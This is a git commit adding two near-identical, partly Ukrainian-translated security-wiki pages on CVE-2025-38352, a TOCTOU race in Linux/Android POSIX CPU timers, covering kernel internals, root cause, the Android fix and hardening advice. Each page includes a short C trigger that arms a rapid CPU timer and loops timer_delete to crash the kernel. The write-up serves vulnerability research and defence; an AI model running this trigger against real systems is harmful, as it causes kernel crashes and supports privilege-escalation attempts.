Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

2025-10-10 18:36:50 +00:00 · 2025-09-30 00:43:22 +00:00 · 2025-09-30 00:43:22 +00:00 · c686ec6085
commit c686ec6085
parent eb816f04a5
3 changed files with 393 additions and 0 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
--- a/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@ -0,0 +1,196 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+На цій сторінці задокументовано TOCTOU race у POSIX CPU timers для Linux/Android, що може пошкодити стан таймера та спричинити падіння ядра, а за певних обставин — бути спрямоване на ескалацію привілеїв.
+
+- Затронутий компонент: kernel/time/posix-cpu-timers.c
+- Примітив: гонка expiry vs deletion під час виходу task
+- Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Короткий огляд внутрішньої роботи (важливий для експлуатації)
+- Три CPU-годинники керують обліком таймерів через cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- При створенні таймера він зв'язується з task/pid і ініціалізуються вузли timerqueue:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Активування вставляє у per-base timerqueue і може оновити кеш next-expiry:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Fast path уникає витратної обробки, якщо кешовані терміни спливу не вказують на можливе спрацьовування:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх із черги; фактична доставка відкладена:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Два режими обробки спрацьовування
+
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в IRQ context
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+У IRQ-context path firing list обробляється поза sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU між спрацьовуванням у контексті IRQ та одночасним видаленням під час виходу задачі
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Це запобігає входу в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, коли posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою закінчення.
+
+Impact
+- Пошкодження пам'яті ядра структур таймерів під час одночасного завершення/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для підвищення привілеїв через можливості довільної маніпуляції станом ядра.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- З суміжного потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Підсилювачі гонки: висока частота тиків планувальника, завантаження CPU, цикли повторного виходу/повторного створення потоків. Аварія зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand().
+
+Виявлення та підвищення стійкості
+- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
+- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з failed cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями в timerqueue під час виходу задачі.
+
+Ключові місця для аудиту (для рецензентів)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли
+- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування
+- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування "в польоті"; ця перевірка пропускається, коли пошук/блокування task не вдається під час exit/reap
+
+Примітки для дослідження exploitation
+- Розкриту поведінку можна надійно використовувати як примітив аварії ядра; перетворення її на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за рамки цього резюме. Ставтеся до будь-якого PoC як до потенційно нестабільного й запускайте лише в емуляторах/VMs.
+
+## Посилання
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+++ b/src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+Ця сторінка документує TOCTOU race у Linux/Android POSIX CPU timers, яка може пошкодити стан таймера та призвести до падіння ядра, а за певних обставин її можна спрямувати на privilege escalation.
+
+- Постраждалий компонент: kernel/time/posix-cpu-timers.c
+- Примітив: expiry vs deletion race під час task exit
+- Чутливе до конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Короткий огляд внутрішньої роботи (relevant for exploitation)
+- Три CPU-годинники ведуть облік для таймерів через cpu_clock_sample():
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- При створенні таймера він прив'язується до task/pid і ініціалізуються timerqueue nodes:
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+Активування вставляє в чергу таймерів для кожної бази та може оновити кеш наступного спливу:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Швидкий шлях уникає витратної обробки, якщо лише кешовані відмітки про закінчення не вказують на можливе спрацювання:
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- Expiration збирає прострочені таймери, позначає їх як такі, що спрацьовують, переміщує їх з черги; фактична доставка відкладена:
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+Два режими обробки спрацьовування
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в контексті IRQ
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+У IRQ-context path, firing list обробляється поза sighand.
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Передумови
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- Цільова задача завершується, але ще не повністю видалена
+- Інший потік одночасно виконує posix_cpu_timer_del() для того самого таймера
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- Це запобігає входу в handle_posix_cpu_timers() для потоків, що виходять, усуваючи вікно, в якому posix_cpu_timer_del() міг пропустити it.cpu.firing і змагатися з обробкою закінчення.
+
+Impact
+- Корупція пам'яті ядра в структурах таймерів під час одночасного expiry/deletion може спричинити миттєві краші (DoS) і є потужним примітивом для privilege escalation через можливості довільної маніпуляції станом ядра.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- З сестринського потоку, одночасно видалити той самий таймер під час виходу цільового потоку:
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: висока частота тікання планувальника, завантаження CPU, повторювані цикли виходу/повторного створення потоків. Краш зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий lookup/locking задачі безпосередньо після unlock_task_sighand().
+
+Detection and hardening
+- Mitigation: застосувати захист exit_state; за можливості віддавати перевагу увімкненню CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
+- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається одночасно з невдалим cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями timerqueue під час виходу задачі.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли
+- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування
+- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення одночасного expiry; ця перевірка пропускається, коли lookup/lock задачі не вдається під час exit/reap
+
+Notes for exploitation research
+- The disclosed behavior is a reliable kernel crash primitive; перетворення цього на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за межі цього резюме. Розглядайте будь‑який PoC як потенційно дестабілізуючий і запускайте лише в емуляторах/VMs.
+
+## Посилання
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}